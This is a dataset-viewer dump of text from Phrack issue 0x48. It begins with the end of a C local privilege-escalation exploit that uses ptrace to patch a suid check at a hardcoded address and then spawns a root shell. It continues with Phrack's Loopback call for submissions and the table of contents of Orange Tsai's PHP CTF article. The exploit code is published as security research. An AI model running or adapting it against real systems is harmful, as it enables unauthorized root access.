text stringlengths 0 1.99k |
|---|
#include <errno.h> |
#include <string.h> |
#include <signal.h> |
#include <ctype.h> |
#include <sys/ptrace.h> |
#include <sys/wait.h> |
#include <sys/signal.h> |
#include <sys/signal_defs.h> |
#include <syscall_nums.h> |
int main(int argc, char** argv) |
{ |
printf("[+] Starting exploit\n"); |
pid_t c_pid = fork(); |
if(c_pid<0) |
{ |
printf("[-] Couldn't fork\n"); |
return -1; |
} |
// Child |
if(c_pid==0) |
{ |
//attaching debugger so we can ptrace_poke |
if(ptrace(PTRACE_TRACEME,0,NULL,NULL)) |
{ |
return -1; |
} |
signal(SIGINT, SIG_IGN); |
return 0; |
} |
int status = 0; |
waitpid(c_pid, &status, WSTOPPED); |
printf("[+] Child stopped as expected\n"); |
printf("[+] Replacing suid check\n"); |
char data[4]; |
//diff between jnz and je |
data[0] = 0x84; |
//jmp after compare in elf_exec for suid check |
void* target = 0x0010f365+1; |
int ret = ptrace(PTRACE_POKEDATA, c_pid, target, &data[0]); |
if(ret<0) |
{ |
perror("ptrace"); |
return -1; |
} |
printf("[+] Should have broken check, get root shell\n"); |
char *n_argv[] = {"/bin/esh",NULL}; |
execve("/bin/esh", n_argv,NULL); |
} |
|=[ EOF ]=---------------------------------------------------------------=| |
==Phrack Inc.== |
Volume 0x10, Issue 0x48, Phile #0x04 of 0x12 |
|=-----------------------------------------------------------------------=| |
|=----------------------=[ L O O P B A C K ]=----------------------------=| |
|=-----------------------------------------------------------------------=| |
|=-----------------------=[ Phrack Staff ]=-----------------------------=| |
|=-----------------------------------------------------------------------=| |
Since we got a chance to see you all IRL for our physical release, we want |
to give some time for people to talk to the community via loopback. |
Send us stories, feedback, and other funny stuff to loopback@phrack.org! |
Some prompts: |
- How has Phrack inspired you? |
- What did you think of this release? |
- What is your message to hackers of the future? |
- Do you have any questions for us? |
- Have you found any neat things you don't know where else to share? |
This of this as Phrack's yearbook or birthday card! |
We will publish our favorite submissions a week or so after the online |
release comes out. Write to us and check back here later! Make sure to |
put ANTISPAM in the the subject line or we won't see it <3 |
|=-----------------------------------------------------------------------=| |
|=-------=[ The Art of PHP - My CTF Journey and Untold Stories! ]=-------=| |
|=-----------------------------------------------------------------------=| |
|=----------------=[ by Orange Tsai <orange@CHROOT.org> ]=---------------=| |
|=-----------------------------------------------------------------------=| |
--[ Table of Contents |
> Prologue |
- About Me |
- Hacking Competitions |
- Being a Pro CTF Gamer |
- How About PHP Security? |
> Main |
1. Reviving Forgotten Bugs Through CTF |
1.1 - Formatting Objects for Fun and Profit! |
1.2 - When Security Features Make You Less Secure |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.